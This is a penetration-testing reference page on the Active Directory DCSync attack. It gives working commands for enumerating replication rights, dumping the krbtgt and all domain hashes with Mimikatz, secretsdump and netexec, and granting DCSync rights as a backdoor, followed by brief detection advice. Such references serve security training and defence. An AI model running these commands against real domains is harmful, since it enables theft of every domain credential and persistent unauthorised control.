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94 lines
4.5 KiB
Markdown
94 lines
4.5 KiB
Markdown
# DCSync
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{{#include ../../banners/hacktricks-training.md}}
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## DCSync
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The **DCSync** permission implies having these permissions over the domain itself: **DS-Replication-Get-Changes**, **Replicating Directory Changes All** and **Replicating Directory Changes In Filtered Set**.
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**Important Notes about DCSync:**
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- The **DCSync attack simulates the behavior of a Domain Controller and asks other Domain Controllers to replicate information** using the Directory Replication Service Remote Protocol (MS-DRSR). Because MS-DRSR is a valid and necessary function of Active Directory, it cannot be turned off or disabled.
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- By default only **Domain Admins, Enterprise Admins, Administrators, and Domain Controllers** groups have the required privileges.
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- If any account passwords are stored with reversible encryption, an option is available in Mimikatz to return the password in clear text
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### Enumeration
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Check who has these permissions using `powerview`:
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```bash
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Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}
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```
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### Exploit Locally
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```bash
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Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
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```
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### Exploit Remotely
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```bash
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secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
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[-just-dc-user <USERNAME>] #To get only of that user
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[-pwd-last-set] #To see when each account's password was last changed
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[-history] #To dump password history, may be helpful for offline password cracking
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```
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### DCSync using a captured DC machine TGT (ccache)
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In unconstrained-delegation export-mode scenarios, you may capture a Domain Controller machine TGT (e.g., `DC1$@DOMAIN` for `krbtgt@DOMAIN`). You can then use that ccache to authenticate as the DC and perform DCSync without a password.
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```bash
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# Generate a krb5.conf for the realm (helper)
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netexec smb <DC_FQDN> --generate-krb5-file krb5.conf
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sudo tee /etc/krb5.conf < krb5.conf
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# netexec helper using KRB5CCNAME
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KRB5CCNAME=DC1$@DOMAIN.TLD_krbtgt@DOMAIN.TLD.ccache \
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netexec smb <DC_FQDN> --use-kcache --ntds
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# Or Impacket with Kerberos from ccache
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KRB5CCNAME=DC1$@DOMAIN.TLD_krbtgt@DOMAIN.TLD.ccache \
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secretsdump.py -just-dc -k -no-pass <DOMAIN>/ -dc-ip <DC_IP>
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```
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`-just-dc` generates 3 files:
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- one with the **NTLM hashes**
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- one with the the **Kerberos keys**
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- one with cleartext passwords from the NTDS for any accounts set with [**reversible encryption**](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption) enabled. You can get users with reversible encryption with
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```bash
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Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
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```
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### Persistence
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If you are a domain admin, you can grant this permissions to any user with the help of `powerview`:
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```bash
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Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose
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```
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Then, you can **check if the user was correctly assigned** the 3 privileges looking for them in the output of (you should be able to see the names of the privileges inside the "ObjectType" field):
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```bash
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Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}
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```
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### Mitigation
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- Security Event ID 4662 (Audit Policy for object must be enabled) – An operation was performed on an object
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- Security Event ID 5136 (Audit Policy for object must be enabled) – A directory service object was modified
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- Security Event ID 4670 (Audit Policy for object must be enabled) – Permissions on an object were changed
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- AD ACL Scanner - Create and compare create reports of ACLs. [https://github.com/canix1/ADACLScanner](https://github.com/canix1/ADACLScanner)
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## References
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- [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync)
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- [https://yojimbosecurity.ninja/dcsync/](https://yojimbosecurity.ninja/dcsync/)
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- HTB: Delegate — SYSVOL creds → Targeted Kerberoast → Unconstrained Delegation → DCSync to DA: https://0xdf.gitlab.io/2025/09/12/htb-delegate.html
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{{#include ../../banners/hacktricks-training.md}}
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